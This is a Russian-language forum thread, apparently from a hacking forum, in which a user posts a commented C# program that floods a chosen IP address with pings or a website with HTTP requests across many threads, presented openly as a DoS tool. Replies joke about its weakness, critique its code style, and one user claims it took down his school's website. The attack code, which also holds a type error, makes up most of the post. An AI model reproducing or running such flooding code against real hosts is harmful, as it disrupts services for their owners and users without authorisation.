Загрузка...

Dos in c #

Thread in C# created by tipossilka77 May 29, 2021. (bumped Jun 15, 2021) 642 views

  1. tipossilka77
    tipossilka77 Topic starter May 29, 2021 rang: imperator 33 May 23, 2020
    Всем привет! Я решил написать свой (фиговый) пример Dos программы!
    Вот код
    Code
     static void Main()
    {
    bool isIp = true;
    Console.WriteLine("Привет ебать! Эта программа по досу сайтов и айпи) "); //обращение)
    Console.WriteLine("Будим ебашить ip или сайт? (ip - 1 сайт - 2)");//спрашиваем что будем делать
    int IsDos= Console.ReadLine(); //Записываем ответ в переменную IsDos
    Console.WriteLine("Во сколько потоков? (чем больше тем лучше ддос но и жрать систему будет больше)(например 100)"); //спрашиваем во сколько потоков будем досить
    int thread1 = Convert.ToInt32(Console.ReadLine()); // записываем ответ в переменную thread1
    if (IsDos == 1) //если IsDos равен 1 (тоесть ip) то isIp равен true
    {
    isIp = true;
    }
    else // если нет то false
    {
    isIp = false;
    }
    Console.WriteLine("Введи ip или сайт (без http://)"); // спрашиваем ip или сайт
    string ip = Console.ReadLine(); // Записываем в переменную ip


    threading(isIp, ip, thread1); // Вызываем метод threading
    }



    static void threading(bool IsIP2, string ip12, int num) // этот метод создаёт потоки в аргументах указываем ip
    {
    if (IsIP2) // если IsIp2 равен true то создает поток с методом ipDos
    {
    for(int i = 0; i < num; i++)
    {
    Thread myThread = new Thread(new ParameterizedThreadStart(ipDos));
    myThread.Start(ip12);
    }
    }
    else // если нет то создает поток с методом SiteDos в аргументах указываем сайт
    {
    for (int i = 0; i < num; i++)
    {
    Thread myThread = new Thread(new ParameterizedThreadStart(SiteDos));
    myThread.Start(ip12);
    }
    }

    }

    static void ipDos(object ip1) // метод который досит ip
    {
    string ip12 = (string)ip1; //
    IPAddress ip = null;
    ip = IPAddress.Parse(ip12);
    int num = 0;
    while (true)
    {
    num++;
    var ping = new Ping();
    //Если IP пропарсился нормально, то пингуем
    if (ip != null)
    ping.Send(ip);
    Console.WriteLine(num + "SUCED");
    if (num % 10000 == 0)
    GC.Collect();
    }
    }
    static void SiteDos(object ip12)
    {
    int num = 0;
    while (true)
    {
    num++;
    string ip1 = (string)ip12;
    //Создаём запрос
    var r = (HttpWebRequest)WebRequest.Create("http://" + ip1);
    //Начинаем слушать ответ
    r.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), null);
    Console.WriteLine(num + "SUCED");
    if (num % 10000 == 0)
    GC.Collect();
    }
    }
     
  2. tipossilka77
    tipossilka77 Topic starter May 29, 2021 rang: imperator 33 May 23, 2020
    Основное объяснил)
     
  3. wDude
    wDude May 29, 2021 Боюсь быть не там и не тем. 3666 Aug 14, 2017
    Дос сайтов с 1 компьютера, путём отправки http запросов :peka::peka::spain:.
    В теории должно сработать (нет), а на практике даже лучше не пытаться.
    Надеюсь ты этой прогой лолз не положишь :warpath:.
    А так попытка не плохая.
     
    1. View previous comments (1)
    2. wDude
      tipossilka77, ты уверен, что это просто твой айпи в блок на время не улетел? :troll_face:
    3. tipossilka77 Topic starter
  4. SijyKijy
    SijyKijy May 29, 2021 Сгнил 34 Mar 10, 2017
    Code
    GC.Collect()
    в бесконечном цикле, дык ещё и в многопотоке. Бедный garbage collector
     
  5. LilKrale
    LilKrale Jun 1, 2021 генг бэнг 65 Dec 11, 2020
    Никогда не видел досов на шарпе, ставлю класс за старания:da:
     
    1. tipossilka77 Topic starter
  6. loger3000
    loger3000 Jun 1, 2021 2 May 31, 2021
    им скорее свой интернет положишь чем сайт
     
  7. ПереигралВсех
    лучше новый метод ддоса придумай :da:
     
  8. ekstador
    ekstador Jun 16, 2021 382 Aug 23, 2017
    Чел, жесткий лайк, ибо сайт моей шараги упал
     
    1. View previous comments (7)
    2. ekstador
      @aChanKiller, очень важно услышать мнение навокека. Держи его при себе
    3. ПереигралВсех
      @aChanKiller, про бесполезный код согласен, но стоит отдать должное, за то что постарался
  9. GoodentaK
    GoodentaK Jun 16, 2021 мамонтизирован 130 May 18, 2021
    Чувак, на будущее, main func. должна быть в самом низу, это плохой тон, когда main сверху
     
    1. View previous comments (3)
    2. GoodentaK
      LilKrale, в программировании нет такого "ну тут кому как удобней", программист — командная личность, если ты делаешь в коде по удобству — ты не программист
    3. GoodentaK
      renameduser_2192759, будешь работать программистом, тебя ссаными тряпками отпиздят за такое расположение мейна, тогда узнаешь, кто придумал
    4. renameduser_2192759
      GoodentaK, нет, это называется ты доебался к новичку, который сам ещё нихрена не понимает, а вы уже лезете со своими 'советами '
    5. View the next comments (2)
Top
Loading...